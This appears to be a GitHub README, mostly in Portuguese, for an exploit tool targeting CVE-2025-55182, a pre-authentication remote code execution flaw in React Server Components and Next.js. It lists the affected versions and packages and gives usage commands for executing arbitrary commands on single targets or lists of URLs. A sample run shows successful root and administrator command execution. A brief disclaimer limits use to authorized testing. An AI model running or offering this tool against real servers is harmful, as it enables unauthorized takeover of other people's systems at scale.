
CVE-2025-55182-advanced-scanner
@#React2Hell — CVE-2025-55182 Exploit
🔥 Exploração de Execução Remota de Código (RCE) no Next.js / React Server
█████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄
██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██
██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄
{MAGENTA} Exploração RCE no Next.js/React Server — CVE-2025-55182
Autor: Ankit Pandey GitHub: https://github.com/ankitspandey07
🚀 React2Shell — Utilitário de Testes de Segurança 🚀
════════════════════════════════════════════════════════════════════════
usage: new.py [-h] [-u URL] [-l LIST] -c COMMAND [--proxy PROXY] [--proxy-https PROXY_HTTPS]
React2Hell é uma ferramenta de exploração poderosa projetada para testar e explorar CVE-2025-55182, uma vulnerabilidade crítica de Execução Remota de Código que afeta Next.js e React Server Actions.
Existe uma vulnerabilidade de execução remota de código sem autenticação prévia nos componentes React Server versões 19.0.0, 19.1.0, 19.1.1 e 19.2.0, incluindo os seguintes pacotes: react-server-dom-parcel, react-server-dom-turbopack e react-server-dom-webpack. O código vulnerável desserializa de forma insegura payloads de requisições HTTP para endpoints de Server Function.
python Scanner.py -u https://target.com -c "whoami"
python Scanner.py -l urls.txt -c "whoami"
python Scanner.py -u https://target.com -c "whoami" --proxy 127.0.0.1:8080
python Scanner.py -u https://target.com -c "whoami" --proxy-https 127.0.0.1:8080
http://site1.com
https://site2.com
http://192.168.1.10:3000
PS D:\Ankitspandey07\React2Hell> python.exe .\Scanner.py -l .\list.txt -c whoami
█████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄
██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██
██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄
{MAGENTA} Next.js/React Server RCE Exploit — CVE-2025-55182
Author: Ankit Pandey GitHub: https://github.com/ankitspandey07
🚀 React2Shell — Security Testing Utility 🚀
════════════════════════════════════════════════════════════════════════
[+] Loaded 3 targets
════════════════════════════════════════════════════════════════════════
[→] Target: http://evil.com:3113/
[→] Exec: whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
root
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────
[→] Target: http://example.lab:2000/
[→] Exec: whoami
[✗] Not vulnerable — Status: 200
────────────────────────────────────────────────────────────────────────
[→] Target: https://tale.lab:3000/
[→] Exec: whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
win-1fl835ovldc\\administrator
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────
[✓] Scan complete — Vulnerable: 2
PS D:\Ankitspandey07\React2Hell>
Esta ferramenta foi criada estritamente para fins educacionais e de pesquisa em segurança. NÃO utilize em sistemas sem autorização explícita. Você é responsável por suas próprias ações.
Se esta exploração ajudou você, considere deixar uma ⭐ no GitHub ❤️
Ankit Pandey; GitHub: https://github.com/Ankitspandey07
Feito com 🔥 por alguém que é um Pentester Orgulhoso e Apaixonado, que se dedica a aprender a cada passo do caminho.